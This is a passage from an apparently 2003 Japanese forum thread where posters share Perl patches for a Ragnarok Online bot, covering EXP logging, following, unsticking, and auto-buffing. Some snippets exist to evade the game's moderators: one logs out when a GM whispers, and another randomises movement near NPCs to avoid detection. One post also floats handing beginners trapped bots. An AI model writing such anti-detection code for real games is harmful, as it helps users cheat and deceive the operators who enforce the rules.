+$base_string = $chars[$config{'char'}]{'exp'}."/".$chars[$config{'char'}]{'exp_max'}." /$baseEXPKill ("
+.sprintf("%.2f",$chars[$config{'char'}]{'exp'}/$chars[$config{'char'}]{'exp_max'} * 100)
+."%)" if $chars[$config{'char'}]{'exp_max'};
+
+$job_string = $chars[$config{'char'}]{'exp_job'}."/".$chars[$config{'char'}]{'exp_job_max'}." /$jobEXPKill ("
+.sprintf("%.2f",$chars[$config{'char'}]{'exp_job'}/$chars[$config{'char'}]{'exp_job_max'} * 100)
+."%)" if $chars[$config{'char'}]{'exp_job_max'};
+
+if ($chars[$config{'char'}]{'exp_last'} > $chars[$config{'char'}]{'exp'}) {
+$baseEXPKill = $chars[$config{'char'}]{'exp_max_last'} - $chars[$config{'char'}]{'exp_last'} + $chars[$config{'char'}]{'exp'};
+} elsif ($chars[$config{'char'}]{'exp_last'} == 0 && $chars[$config{'char'}]{'exp_max_last'} == 0) {
+$baseEXPKill = 0;
+} else {
+$baseEXPKill = $chars[$config{'char'}]{'exp'} - $chars[$config{'char'}]{'exp_last'};
+}
+
+if ($chars[$config{'char'}]{'exp_job_last'} > $chars[$config{'char'}]{'exp_job'}) {
+$jobEXPKill = $chars[$config{'char'}]{'exp_job_max_last'} - $chars[$config{'char'}]{'exp_job_last'} + $chars[$config{'char'}]{'exp_job'};
+} elsif ($chars[$config{'char'}]{'exp_job_last'} == 0 && $chars[$config{'char'}]{'exp_job_max_last'} == 0) {
+$jobEXPKill = 0;
+} else {
+$jobEXPKill = $chars[$config{'char'}]{'exp_job'} - $chars[$config{'char'}]{'exp_job_last'};
+}
751ネトゲ廃人@名無し:03/09/11 14:40 ID:???
+$endTime_EXP = time;
+$w_hour = 0;
+$w_min = 0;
+$w_sec = int($endTime_EXP - $startTime_EXP+1);
+$bExpPerHour = int($totalBaseExp * 3600 / $w_sec);
+$jExpPerHour = int($totalJobExp * 3600 / $w_sec);
+
+if ($w_sec >= 3600) {
+$w_hour = int($w_sec / 3600);
+$w_sec %= 3600;
+}
+
+if ($w_sec >= 60) {
+$w_min = int($w_sec / 60);
+$w_sec %= 60;
+}
+##################################
+@aStatus[int(%vStatus/2)];
+
+if($vStatus{'stat_Hp'}){
+$aStatus[$vStatus{'stat_HpNo'}]="HP: $hp_string";
+}
+if($vStatus{'stat_Sp'}){
+$aStatus[$vStatus{'stat_SpNo'}]="SP: $sp_string";
+}
+if($vStatus{'stat_Weight'}){
+$aStatus[$vStatus{'stat_WeightNo'}]="Weight: $weight_string";
+}
752ネトゲ廃人@名無し:03/09/11 14:41 ID:???
BOTer達を一斉にBANしたら、結局損するのは癌。
どっちにしろ現在の癌の評価は最下位。

なら一斉BANして今更の評価をあげたとしても微妙。
このままBOT達から課金し続けてもらったほうが得。
俺も得。おまいらも得。

だ〜めだ、文章作るの下手すぎ
スルーしてくれ('A`*;;)
753ネトゲ廃人@名無し:03/09/11 14:41 ID:???
+if($vStatus{'stat_Basegot'}){
+$aStatus[$vStatus{'stat_BasegotNo'}]="Base: $base_string";
+}
+if($vStatus{'stat_Baserate'}){
+$aStatus[$vStatus{'stat_BaserateNo'}]="Brate: $bExpPerHour";
+}
+if($vStatus{'stat_Jobgot'}){
+$aStatus[$vStatus{'stat_JobgotNo'}]="Job: $job_string";
+}
+if($vStatus{'stat_Jobrate'}){
+$aStatus[$vStatus{'stat_JobrateNo'}]="Jrate: $jExpPerHour";
+}
+if($vStatus{'stat_Pos'}){
+$aStatus[$vStatus{'stat_PosNo'}]=" Pos: $map_string $chars[$config{'char'}]{'pos_to'}{'x'}, $chars[$config{'char'}]{'pos_to'}{'y'}";
+}
+if($vStatus{'stat_Time'}){
+$aStatus[$vStatus{'stat_TimeNo'}]="Time: $w_hour h $w_min m $w_sec s";
+}
+
+open(FILE, ">Status.txt");
+print FILE "@aStatus";
+close(FILE);
+}
754ネトゲ廃人@名無し:03/09/11 14:45 ID:???
おっと忘れてた

+#ステ表示ファイルの読み込み
+addParseFiles("control/statusVariables.txt", \%vStatus, \&parseDataFile2);
load(\@parseFiles);

config.txtに
+recordStatus 1

んでもって、以下のファイルを作成
control/statusVariables.txt
#ステータス表示
stat_Hp 1
stat_HpNo 0
stat_Sp 1
stat_SpNo 1
stat_Weight 0
stat_WeightNo 0
stat_Basegot 1
stat_BasegotNo 2
stat_Baserate 1
stat_BaserateNo 3
stat_Jobgot 0
stat_JobgotNo 0
stat_Jobrate 0
stat_JobrateNo 0
stat_Pos 1
stat_PosNo 4
stat_Time 1
stat_TimeNo 5
755ネトゲ廃人@名無し:03/09/11 14:55 ID:???
しからば、こんなコードが欲しいのだが作ってくれんか
・wisが来るとログアウト、一定時間たつと再ログイン
新GM回避と"pm"関係への応用なのはわかるのだが、ペールかけないヘッポコ君のお願いです
756ネトゲ廃人@名無し:03/09/11 15:34 ID:???
>>755
調子乗るなよ
まあ、埋め記念に書くか

} elsif ($switch eq "0097" && length($msg) >= unpack("S1", substr($msg, 2, 2))) {
〜〜
print "[prvChat] (From: $privMsgUser) : 「$privMsg」\n";
+if($config{'sleepingByWisMe'}){
+killConnection(\$remote_socket);
+print "やっべ WISキチャッタYO!(・∀・)ヤッベ $config{'sleepingByWisMe_sleepTime'}秒停止中〜\n";
+sleep($config{'sleepingByWisMe_sleepTime'});
+relog();
+}

config.txt
+sleepingByWisMe 1
+sleepingByWisMe_sleepTime 600

GM判定いらんよな?いるなら
+if($config{'sleepingByWisMe'} && isGameMaster($ID)){

なに?configが長い?ホットケYO!
エラーが出る?実行すらしてねーし、シラネーYO!
757ネトゲ廃人@名無し:03/09/11 15:44 ID:???
あらら。0097パケって相手情報はIDじゃなくてnameなんだな
if($config{'sleepingByWisMe'}){
+foreach (@GameMasters) {
+if ($privMsgUser eq $_) {
(略)
+}
+}
}
こんなもんか?ま、いっか。1梅(・ω・)
758ネトゲ廃人@名無し:03/09/11 16:36 ID:???
□が□匹以上きたらテレポします。(トリビア風
ついでにこのコードもおながいでっさー、神様〜
759ネトゲ廃人@名無し:03/09/11 16:37 ID:???
調子にノンな

うざいよ
760ネトゲ廃人@名無し:03/09/11 17:15 ID:???
まあ、埋め埋めUMEE(・ω・)EE!っと

しかし、遠いなぁ
761ネトゲ廃人@名無し:03/09/11 17:17 ID:???
埋め

つっても次また立つんだろうがな。
762ネトゲ廃人@名無し:03/09/11 17:24 ID:???
最後に倉庫を開けたときの中身をログに吐き出しコード キボンヌ。
763ネトゲ廃人@名無し:03/09/11 17:40 ID:???
倉庫の中身吐き出すコードだったら作ってやるよ?
764ネトゲ廃人@名無し:03/09/11 17:56 ID:???
まあ、まったり埋めとけ
765ネトゲ廃人@名無し:03/09/11 17:59 ID:???
しっかし・・・。
埋め。
766ネトゲ廃人@名無し:03/09/11 18:10 ID:???
         __,,,,,,___
        (⌒ヽ:::::::::::'''''-,,
      <´・\  ::::::::::::::::::ヽ
       l 3 ハ::::::::::::::::::::::ヽ,
   ∫  .<、・_ (         )
   旦 (⌒ ̄  ̄ ̄ ̄ ̄ ̄ ̄⌒)
767ネトゲ廃人@名無し:03/09/11 18:12 ID:???
癌「BOTは生かさず殺さずだ」

GM「BOTER、大切なお客様ですもんね」

癌「少しだけ垢BANしながらガンホーがんばってますって言っとけば大丈夫だ」

GM「ROやってる人達、馬鹿ですもんね」
768ネトゲ廃人@名無し:03/09/11 18:17 ID:???
SysMsg「スレが埋まるまであと232です。」
769ネトゲ廃人@名無し:03/09/11 18:25 ID:???
埋めますZOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOうぇ
770ネトゲ廃人@名無し:03/09/11 19:54 ID:???
このスレには以前世話になってたんで
埋め協力

+use Win32::Sound;
重要アイテムとかGM発見等に以下を追加
+Win32::Sound::Play(SystemDefault);
+Win32::Sound::Stop();

Sysデフォのほかに
play(SystemStart);
とかにするとうれしさ倍増

意味?
楽しい+重い+(このままだと)スタックしやすい

まぁ設定程度はググッてガンガレ('A`)
771ネトゲ廃人@名無し:03/09/11 20:15 ID:???
チョロネタ倉庫化しそうだな
それもオモロ
漏れもなんかあったっけな?探してみよっと

ということで、梅
772ネトゲ廃人@名無し:03/09/11 20:26 ID:???
ちょっと質問いいかな?
暗号化を解読してアプする神がいるけれど、あの人たちの思考が理解できないのだが…

(理由1)神とほめられたい
(理由2)BOTが増えれば自分が安全
(理由3)罠入りで遊ぶ

この辺りかな?

んで、自称神のみなさんは、自分の作ったBOTが販売されたり、RMTでうはうは言ってるのも見てどう思っているのかな?
773ネトゲ廃人@名無し:03/09/11 20:29 ID:???
つまらん、埋め
774ネトゲ廃人@名無し:03/09/11 20:29 ID:???
>>772
なんか605氏個人宛みたいな質問だけど

俺の場合
2が99%
匿名掲示板で感謝されても嬉しくない

>自分の作ったBOTが販売されたり、RMTでうはうは言ってる
俺の技術はたいしたこと無いから当事者じゃないけど、リアルでヌッコロシたい
775ネトゲ廃人@名無し:03/09/11 20:30 ID:???
しっかりと理解してるじゃん

ってことで、梅
776ネトゲ廃人@名無し:03/09/11 20:32 ID:???
>>772
オープンソースの物を売ってるのは気に入らないね
ってかSourceForgeに登録されてるものって売ったら罪にならなかったっけ?
777ネトゲ廃人@名無し:03/09/11 20:32 ID:???
ほんじゃうちのも
場所はいいな、もう。msgで素性がバレバレだか
----------
print"--------Ivent Skills--------\n";
my $nowUseTime;
$~ = "USESKILLS";
foreach(%{$char[$config{'char'}]{'useSkills'}}){
if ($$_{'skill'}){
$nowUseTime = int(time - $$_{'time'});
format USESKILLS =
@<<<<<<<<<<<<<<<<<<<< (useTime:@>>>)
$$_{'skill'}$nowUseTime
.
write;
}
}
-----------0x0073と0x0092
print "[Rep] 継続効果スキル・アイテムの情報をリセットします。\n";
undef $char[$config{'char'}]{'useSkills'};
778ネトゲ廃人@名無し:03/09/11 20:35 ID:???
if ($ID eq $accountID) {
undef $skillName;
if ($skillID eq 0x0002) {
$skillName = "ツーハンドクイックン";
} elsif ($skillID eq 0x0006) {
$skillName = "エンチャントポイズン";
} elsif ($skillID eq 0x000A) {
$skillName = "ブレッシング";
} elsif ($skillID eq 0x000C) {
$skillName = "速度増加";
} elsif ($skillID eq 0x0013) {
$skillName = "キリエ";
} elsif ($skillID eq 0x001b) {
#???事あるごとに受信。とりあえず無視
} elsif ($skillID eq 0x0025) {
$skillName = "集中のポーション";
} elsif ($skillID eq 0x0026) {
$skillName = "覚醒のポーション";
} elsif ($skillID eq 0x0023) {
#赤ポーション
} elsif ($skillID eq 0x0024) {
#重量オーバー
} else {
$display = "[Rep] 未確認の状態変化です(ID:$skillID)\n";
print $display;
chatLog("d", $display);
}
779ネトゲ廃人@名無し:03/09/11 20:35 ID:???
リンクサンタ攻略するコードキボン(つд`)
780ネトゲ廃人@名無し:03/09/11 20:37 ID:???
if ($skillName){
if (!$useOrLose){
print "[Rep] $skillName の効果が消滅しました。\n";
undef %{$char[$config{'char'}]{'useSkills'}{$skillID}};
} else{
$char[$config{'char'}]{'useSkills'}{$skillID}{'skill'} = $skillName;
$char[$config{'char'}]{'useSkills'}{$skillID}{'useOrLose'} = $useOrLose;
$char[$config{'char'}]{'useSkills'}{$skillID}{'time'} = time;
print "[Rep] $skillName の効果が発動しました。\n";
}
}
}

スキル情報発動・消去の有無
画面右に出てくるアレだな。意味?無いよ。2HQ使ってくれないから
デバッグで入れたヤシ。でもそっちは完全解決したですし。
自己満足ですな(・w・)

まあ、埋めってことで
781ネトゲ廃人@名無し:03/09/11 20:40 ID:???
2番目移行は別パケね。どうでもいいことだが

てなわけで、4梅
782ネトゲ廃人@名無し:03/09/11 20:40 ID:???
チョロネタコードを張るってのは結構梅になっていいな
俺も探してこよっと
783ネトゲ廃人@名無し:03/09/11 20:42 ID:???
605氏にオツと思いつつ

埋めっと
784ネトゲ廃人@名無し:03/09/11 20:45 ID:???
sub InsertRoutins {
my($file) = @_;
$file = './SubRoutins/'.$file;
open(FILE, "$file") or return print "Can not open $file.\n";
my ($routin) = join('',<FILE>);
close(FILE);
return $routin;
}
ほぼ意味なしコード
eval(InsertRoutins('Response.pl'));
print "$@\n" if($@);
って感じに書くと、Response.plの中書き換えれば実行中にコードを書き換えられる。
俺は主にコード作成中とかに使ってた。
785ネトゲ廃人@名無し:03/09/11 20:45 ID:???
あんま意味無いor猿には組み込めない程度にボカすってのがいいと思われ

ということで、UNMEEEEEE(・ω・)EEEEE!
786ネトゲ廃人@名無し:03/09/11 20:50 ID:???
>>784
σ・∀・)σ get's!アーーーンド ウメ m9・ω。・)
787ネトゲ廃人@名無し:03/09/11 20:57 ID:???
if($config{'StopAuto_follower_Disappeared'}) {
if($f_d_flg) {
foreach(@playersID) {
my($name) = $players{$playersID[$_]}{'name'};
$f_d_flg = 0 if($name eq $config{'follower_name'});
}
if($f_d_flg == 0) {
print "I can find my follower\n";
print "Let's Go!!\n";
configModifyAndWrite("route_randomWalk", 1);
configModifyAndWrite("attackAuto",2);
}
} else {
$f_d_flg = 1;
foreach(@playersID) {
my($name) = $players{$playersID[$_]}{'name'};
$f_d_flg = 0 if($name eq $config{'follower_name'});
}
if($f_d_flg) {
print "Can not find my follower";
aiRemove("move");
aiRemove("route");
aiRemove("route_getRoute");
aiRemove("route_getMapRoute");
print "Stopped all movement\n";
configModifyAndWrite("route_randomWalk", 0);
configModifyAndWrite("attackAuto",0);
}
}
}
788ネトゲ廃人@名無し:03/09/11 20:59 ID:???
sub GoToMasterPlace_Auto_3 {
if($config{'GoToMasterPlace_Auto'}) {
my($master_name) = $config{'followTarget'};
$GoToMasterFlg = 1;
foreach(@partyUsersID) {
print "partyUsersID : $_\n" if($config{'a_debug'});
print "$chars[$config{'char'}]{'party'}{'users'}{$_}{'name'}\n" if($config{'a_debug'});
if($chars[$config{'char'}]{'party'}{'users'}{$_}{'name'} eq $master_name) {
print "x : $chars[$config{'char'}]{'party'}{'users'}{$_}{'pos'}{'x'}\n" if($config{'a_debug'});
print "y : $chars[$config{'char'}]{'party'}{'users'}{$_}{'pos'}{'y'}\n" if($config{'a_debug'});

$masters_position{'x'} = $chars[$config{'char'}]{'party'}{'users'}{$_}{'pos'}{'x'};
$masters_position{'y'} = $chars[$config{'char'}]{'party'}{'users'}{$_}{'pos'}{'y'};
}
}
if($masters_position{'x'}) {
print "Found My Master !!\n";
print "My Master's now position is $master_position{'x'},$master_position{'y'}\n";
$ai_v{'temp'}{'map'} = $field{'name'} if ($ai_v{'temp'}{'map'} eq "");
print "Calculating route to: $maps_lut{$ai_v{'temp'}{'map'}.'.rsw'}($ai_v{'temp'}{'map'}): $masters_position{'x'}, $masters_position{'y'}\n";
$ai_v{'temp'}{'x'} = $masters_position{'x'};
$ai_v{'temp'}{'y'} = $masters_position{'y'};
ai_route(\%{$ai_v{'temp'}{'returnHash'}}, $ai_v{'temp'}{'x'}, $ai_v{'temp'}{'y'}, $ai_v{'temp'}{'map'}, 0, 0, 1, 0, 0, 1);
} else {
print "My Master does not Login to Party !!\n";
}
}
}
789ネトゲ廃人@名無し:03/09/11 21:00 ID:???
sub GoToMasterPlace_Auto_2 {
if($config{'GoToMasterPlace_Auto'} && $GoToMasterFlg) {
my($master_name) = $config{'followTarget'};
my($master_ID);
foreach(@playersID) {
$master_ID = $_ if($players{$_}{'name'} eq $master_name);
}
if($master_ID) {
print "I found My Master!! \n";

aiRemove("move");
aiRemove("route");
aiRemove("route_getRoute");
aiRemove("route_getMapRoute");
print "Stopped all movement\n";

ai_follow($players{$master_ID}{'name'});
configModifyAndWrite("follow", 1);
configModifyAndWrite("followTarget", $players{$master_ID}{'name'});
print "Following My Master : $players{$master_ID}{'name'}\n";
$GoToMasterFlg = 0;
}
}
}
790ネトゲ廃人@名無し:03/09/11 21:01 ID:???
sub GoToMasterPlace_Auto {
if($config{'GoToMasterPlace_Auto'}) {
my($master_name) = $config{'followTarget'};
$GoToMasterFlg = 1;
print "MasterName : $master_name\n" if($config{'a_debug'});
my(%masters_position);
foreach(@partyUsersID) {
print "partyUsersID : $_\n" if($config{'a_debug'});
print "$chars[$config{'char'}]{'party'}{'users'}{$_}{'name'}\n" if($config{'a_debug'});
if($chars[$config{'char'}]{'party'}{'users'}{$_}{'name'} eq $master_name) {
print "x : $chars[$config{'char'}]{'party'}{'users'}{$_}{'pos'}{'x'}\n" if($config{'a_debug'});
print "y : $chars[$config{'char'}]{'party'}{'users'}{$_}{'pos'}{'y'}\n" if($config{'a_debug'});
$masters_position{'x'} = $chars[$config{'char'}]{'party'}{'users'}{$_}{'pos'}{'x'};
$masters_position{'y'} = $chars[$config{'char'}]{'party'}{'users'}{$_}{'pos'}{'y'};
}
}
if($masters_position{'x'}) {
print "Found My Master !!\n";
print "My Master's now position is $masters_position{'x'},$masters_position{'y'}\n";
$ai_v{'temp'}{'map'} = $field{'name'} if ($ai_v{'temp'}{'map'} eq "");
print "Calculating route to: $maps_lut{$ai_v{'temp'}{'map'}.'.rsw'}($ai_v{'temp'}{'map'}): $masters_position{'x'}, $masters_position{'y'}\n";
$ai_v{'temp'}{'x'} = $masters_position{'x'};
$ai_v{'temp'}{'y'} = $masters_position{'y'};
ai_route(\%{$ai_v{'temp'}{'returnHash'}}, $ai_v{'temp'}{'x'}, $ai_v{'temp'}{'y'}, $ai_v{'temp'}{'map'}, 0, 0, 1, 0, 0, 1);
} else {
print "My Master does not Login to Party !!\n";
}
}
}
791ネトゲ廃人@名無し:03/09/11 21:02 ID:???
動作保証&実用性は一切保証しない上に説明もしません。
ってわけで5梅
792ネトゲ廃人@名無し:03/09/11 21:05 ID:???
永久保存版スレになりそうなヤカン
793ネトゲ廃人@名無し:03/09/11 21:20 ID:???
中級本スレ滅亡まで、「あと217梅」
794ネトゲ廃人@名無し:03/09/11 21:24 ID:???
あ 梅干食べよっと
ちゃんと種は埋めるぜ♪
795ネトゲ廃人@名無し:03/09/11 21:47 ID:???
605氏追悼埋め
796ネトゲ廃人@名無し:03/09/11 22:09 ID:???
漏れも605氏を惜しみつつ埋め
797ネトゲ廃人@名無し:03/09/11 22:48 ID:pVrT2Xty
何か今のBOTの増え具合やべーと思うし、
いくら癌ぽーでもいいかげん対策(NOT暗号化)して来そうだな。
んなこたぁないか。
埋め
798ネトゲ廃人@名無し:03/09/11 23:09 ID:???
確かに現状のデフレ具合みてるとそろそろ終焉を迎えそうだな
799ネトゲ廃人@名無し:03/09/11 23:10 ID:???
605氏なむなむ
800ネトゲ廃人@名無し:03/09/11 23:11 ID:???
俺の記憶では
このスレ削除依頼出したんだが???
801ネトゲ廃人@名無し:03/09/11 23:32 ID:???
>>800
mmosaloon:ネトゲサロン[スレッド削除]
http://qb.2ch.net/test/read.cgi/saku/1037127708/
どこー?

mmosaloon:ネトゲサロン[スレッド削除]
http://qb.2ch.net/test/read.cgi/saku/1037127708/
どこですか~~^^^^^^^^^^^^^^^^^^^

まったく違うスレッドに依頼して恥をかいた予感^^^
802ネトゲ廃人@名無し:03/09/11 23:44 ID:???
ありがとう
133

ありがとう
286

ありがとう
605

ありがとう
Karasu
803ネトゲ廃人@名無し:03/09/12 01:26 ID:???
804ネトゲ廃人@名無し:03/09/12 03:06 ID:???
やだい、きえるなんてやだいよぅ
805ネトゲ廃人@名無し:03/09/12 06:36 ID:???
「!605! ・・・・、消えてしまったのか! まだ、さよならもいってないよ・・
「・・・・605さん・・
「605・・・・ おまえのことは、いつまでもわすれないよ!ぜったいに!
「・・・・ウン、私も!・・・・それに、286も・・・・ 私たち、かれらにまけないように がんばって生きていかなきゃね!
「133のはへんが ゆきに変わっていく・・・・
806ネトゲ廃人@名無し:03/09/12 07:54 ID:???
つーかココは隔離スレだろ?
コード関連は他所でやってるし

うめ
807ネトゲ廃人@名無し:03/09/12 09:40 ID:???
カプラ使うときにちゃんとカプラの方向を向くコードって出てました?
808ネトゲ廃人@名無し:03/09/12 09:46 ID:???
>>807
出てないんじゃない?
うちのはこんな感じだにゃぁ
sub changeDirection {
my $r_hash1 = shift;
my $r_hash2 = shift;
my ($c_x,$c_y,$direction);
$c_x = $$r_hash2{'x'} - $$r_hash1{'x'};
$c_y = $$r_hash2{'y'} - $$r_hash1{'y'};

if ($c_x > 0){
$direction = ($c_y > 0) ? 7 : 5;
}else{
$direction = ($c_y > 0) ? 1 : 3;
}
sendLook(\$remote_socket,$direction,0);
return;
}
使い方はヒミツということで。あと、検証もしてないけどね

ということで、ウメっとな
809ネトゲ廃人@名無し:03/09/12 09:51 ID:???
ttp://game3.2ch.net/test/read.cgi/mmosaloon/1062683124/l50
オマイラ!
初心に戻ってマターリ汁!
810ネトゲ廃人@名無し:03/09/12 09:52 ID:???
03/09/11プロンテラスクエアVOL.16より抜粋


いま、ガンホーの私たちの部署では、みんな競い合ってレベル上げに挑戦していま
 す。
ちなみにガンホーの私たちのグループ、男性陣はodin,女性陣はbaldurにメインキャ
 ラを作っている方が多いようです。

odin baldurのみんなはなむ
811ネトゲ廃人@名無し:03/09/12 10:08 ID:???
>>810
>odin baldurのみんなはなむ

逆に大丈夫なんじゃないか?
まぁ、狩場が同じだったら激しくマズいが・・・
GMどもも「伊豆D・エルダ森はBOT多くて効率悪いから他の狩場にしよー」とか
考えてるかもしれんがな。
812ネトゲ廃人@名無し:03/09/12 10:10 ID:???
小3のある日、兄の自転車を借りて坂を下ってたら
実はブレーキがすごく甘くなってて、

ブレーキしてもどんどんスピードが上がっていって
靴のつま先で無理やりブレーキさせても靴が磨り減るだけで

仕方なく路肩の植木に身を投げたら擦り傷いっぱいでスカート破けて
そのままエロティックな格好で泣きながら家に帰ったら
母がいきなり

「誰にやられたの!」

と聞いて来たのでは私はお兄ちゃんの自転車で…と言うつもりが
泣きじゃくってるせいでうまくいえず

「お…お兄ちゃん…」

と呟いたら母は突然倒れてそのまま気絶してしまいました
813ネトゲ廃人@名無し:03/09/12 10:29 ID:???
>>808
私はatanみたいなのを求めて、bodyの8方向directionを決めようとしてました。
やっぱ向きなんて4方向程度で十分ですよね。

あと距離が接触してると怪しいから少し離れたところでtalkさせるようにした方が良いですかね。

+changeDirection(\%{$npcs_lut{$config{'storageAuto_npc'}}{'pos'}}, \%{$chars[$config{'char'}]{'pos_to'}});
sendTalk(\$remote_socket, pack("L1",$config{'storageAuto_npc'})) if !$ai_seq_args[0]{'sentStore'};

って感じで使えるのかな。
チケット切れたから試せない。
814ネトゲ廃人@名無し:03/09/12 10:46 ID:???
-ai_route(\%{$ai_v{'temp'}{'returnHash'}}, $npcs_lut{$config{'storageAuto_npc'}}{'pos'}{'x'},
$npcs_lut{$config{'storageAuto_npc'}}{'pos'}{'y'}, $npcs_lut{$config{'storageAuto_npc'}}{'map'}, 0, 0, 1, 0, 0, 1);
+ai_route(\%{$ai_v{'temp'}{'returnHash'}}, $npcs_lut{$config{'storageAuto_npc'}}{'pos'}{'x'} + int(-5 + rand(10)),
$npcs_lut{$config{'storageAuto_npc'}}{'pos'}{'y'} + int(-5 + rand(10)), $npcs_lut{$config{'storageAuto_npc'}}{'map'}, 0, 0, 1, 0, 0, 1);

これで良いかな?
815ネトゲ廃人@名無し:03/09/12 10:48 ID:???
odinだよ・・・
回避しようにもGMのメインキャラなんか特定できないし
同じ狩り場だったら真っ先に目を付けられてbanの対象だろうなぁ
鯖の選択ミスったよ・・・クホホ
816ネトゲ廃人@名無し:03/09/12 10:51 ID:???
>>815
今からでも遅くないっ!
バルダーに移住しろ!
817ネトゲ廃人@名無し:03/09/12 10:52 ID:???
癌がBANなんてめんどくせへことするわけないじゃんw
レベル上げに必死なんだから仕事なんかしねーよ。
818ネトゲ廃人@名無し:03/09/12 11:28 ID:???
# Avoid stuck revision 2.0
#=====================================================================
unstuckAuto_margin 5
unstuckAuto_rfcount 10
unstuckAuto_mfcount 50
unstuckAuto_utcount 10
#---------------------------------------------------------------------
undef @{$cart{'inventory'}};
undef %storage;
+# Avoid stuck
+undef %{$ai_v{'avoidStuck'}};
}
#---------------------------------------------------------------------
if ($ai_seq[0] eq "route" && @{$ai_seq_args[0]{'solution'}} && $ai_seq_args[0]{'index'} == @{$ai_seq_args[0]{'solution'}} - 1 && $ai_seq_args[0]{'solutionReady'}) {
print "Route success\n" if $config{'debug'};
+# Avoid stuck
+undef %{$ai_v{'avoidStuck'}};
#---------------------------------------------------------------------
} elsif ($ai_seq[0] eq "route" && $ai_seq_args[0]{'failed'}) {
print "Route failed\n" if $config{'debug'};
+# Avoid stuck
+$ai_v{'avoidStuck'}{'route_failed'}++;
+avoidStuck();
#---------------------------------------------------------------------
} elsif (!$ai_seq_args[0]{'ai_moved'} && timeOut(\%{$ai_seq_args[0]{'ai_move_giveup'}})) {
+# Avoid stuck
+$ai_v{'avoidStuck'}{'move_failed'}++;
+avoidStuck();
#---------------------------------------------------------------------
} elsif ($ai_seq_args[0]{'ai_moved'} && time - $chars[$config{'char'}]{'time_move'} >= $chars[$config{'char'}]{'time_move_calc'}) {
+# Avoid stuck
+undef %{$ai_v{'avoidStuck'}};
819ネトゲ廃人@名無し:03/09/12 11:30 ID:???
# Avoid stuck
sub avoidStuck {
my $check;
my $isStuck;
my $msg;

for ($i = -1; $i < 2; $i++) {
for ($j = -1; $j < 2; $j++) {
next if ($i == 0 && $j == 0);
$check++ if ($field{'field'}[($chars[$config{'char'}]{'pos_to'}{'y'} + $i)*$field{'width'} + $chars[$config{'char'}]{'pos_to'}{'x'} + $j] > 0);
}
}
if ($check + $config{'unstuckAuto_margin'} > 8
|| ($config{'unstuckAuto_rfcount'} && $ai_v{'avoidStuck'}{'route_failed'} >= $config{'unstuckAuto_rfcount'})
|| ($config{'unstuckAuto_mfcount'} && $ai_v{'avoidStuck'}{'move_failed'} >= $config{'unstuckAuto_mfcount'})) {
$ai_v{'avoidStuck_tries'}++;
if ($config{'unstuckAuto_utcount'} && $ai_v{'avoidStuck_tries'} >= $config{'unstuckAuto_utcount'}) {
undef $ai_v{'avoidStuck_tries'};
$msg = "respawning";
$isStuck = 3;
} else {
$msg = "teleporting";
$isStuck = 2;
}
} elsif ($config{'unstuckAuto_mfcount'} && ($ai_v{'avoidStuck'}{'move_failed'} == int($config{'unstuckAuto_mfcount'}/2))) {
$isStuck = 1;
}
820ネトゲ廃人@名無し:03/09/12 11:31 ID:???
if ($isStuck) {
aiRemove("move");
aiRemove("route");
aiRemove("route_getRoute");
aiRemove("route_getMapRoute");
ai_clientSuspend(0, 5);
if ($isStuck > 1) {
if ($cities_lut{$field{'name'}.'.rsw'}) {
relog("*** May be stuck in city, relogging to unstuck ***\n");
chatLog("us","May be stuck in city, relogging to unstuck.\n");
} else {
print "*** May be stuck, $msg to unstuck ***\n";
chatLog("us","May be stuck, $msg to unstuck.\n");
useTeleport($isStuck - 1);
$ai_v{'clear_aiQueue'} = 1;
}
} else {
print "*** May be stuck, clearing route AI to unstuck ***\n";
chatLog("us","May be stuck, clearing route AI to unstuck.\n");
}
}
}
821ネトゲ廃人@名無し:03/09/12 11:33 ID:???
どっかで拾ったKarasu氏のコードだったと思う。
822ネトゲ廃人@名無し:03/09/12 11:35 ID:???
連続ですまんが確かこのままだとバグあったと思う。
まぁその辺は自分で処理してくれ。
比較しても修正個所多すぎて抜き出すの('A`)マンドクセ
823GM.500:03/09/12 11:38 ID:???
皆そういいながら私の前を去って逝きました。わたしはかなしい
824ネトゲ廃人@名無し:03/09/12 11:44 ID:???
なんつーかここでコード晒すのは自分の首を絞めてると言うことにきづかんアホが多いのね。
初心者には適当な罠BOT渡せばいいだろ。
鳩は生かさず殺さず。そのぐらいがちょうどいい。
825ネトゲ廃人@名無し:03/09/12 11:45 ID:???
鳩がなにかをいっていますが、誰も聞き取れませんでした。
826ネトゲ廃人@名無し:03/09/12 11:45 ID:???
↓屑
827ネトゲ廃人@名無し:03/09/12 11:46 ID:???
↓ミジンコ以下
828ネトゲ廃人@名無し:03/09/12 11:51 ID:???
(><)ウメウメ
829ネトゲ廃人@名無し:03/09/12 12:02 ID:???
>>824
鳩には上記のコードを追加する術を持っておりませんが?
あ、鳩未満の方でしたか、コリャスマソ
830ネトゲ廃人@名無し:03/09/12 12:07 ID:???
>>821
605氏の壁歩き防止ってそれから派生したコードだったのか・・・

>>824
ブツブツ独り言って耳ざわりだね
キエロ(・∀・)ハゲ

ってことで埋め。605氏オツ
831ネトゲ廃人@名無し:03/09/12 12:32 ID:???
受信部
{
my($my_name) = $chars[$config{'char'}]->{'name'};
my(@target_names) = ('name1','name2');
my(@target_string) = ('ぶれす','ぶれすよろ','ブレス','ぶれーす');
my(@return_msg) = ('ほい','うぃ','おいよ〜','');
my($target_name) = 'this is a dummy name';
$target_name = $chatMsgUser if(grep($_ eq $chatMsgUser, @target_names));
if($target_name ne 'this is a dummy name')
{
my($flg) = 0;
$flg = 1 if(grep($_ eq $chatMsg, @target_string));
if($flg) {
sleep(1);
aiRemove("move");
aiRemove("route");
aiRemove("route_getRoute");
aiRemove("route_getMapRoute");
$response_atk_old = $ai_v{'ai_attaqck_ID_old'};
attackStop(\$remote_socket, $ai_v{'ai_attaqck_ID_old'});
print "Stopped all movement\n";

sleep(2);
sendMessage(\$remote_socket, "c", $return_msg[rand(scalar @return_msg)]);
sleep(1);
ai_skillUse($chars[$config{'char'}]->{'skills'}->{$skills_rlut{lc('ブレッシング')}}->{'ID'}, 10, 0, 0,
SearchPlayerID($target_name));
}
}
}
832ネトゲ廃人@名無し:03/09/12 12:33 ID:???
送信部
{
unless(%start_status) {
$start_status{'str_bonus'} = $chars[$config{'char'}]{'str_bonus'};
$start_status{'int_bonus'} = $chars[$config{'char'}]{'int_bonus'};
$start_status{'dex_bonus'} = $chars[$config{'char'}]{'dex_bonus'};
}
my(@target_string) = ('ぶれす','ぶれすよろ','ブレス','ぶれーす');
my($targ_name) = 'pri';
my($flg) = 0;
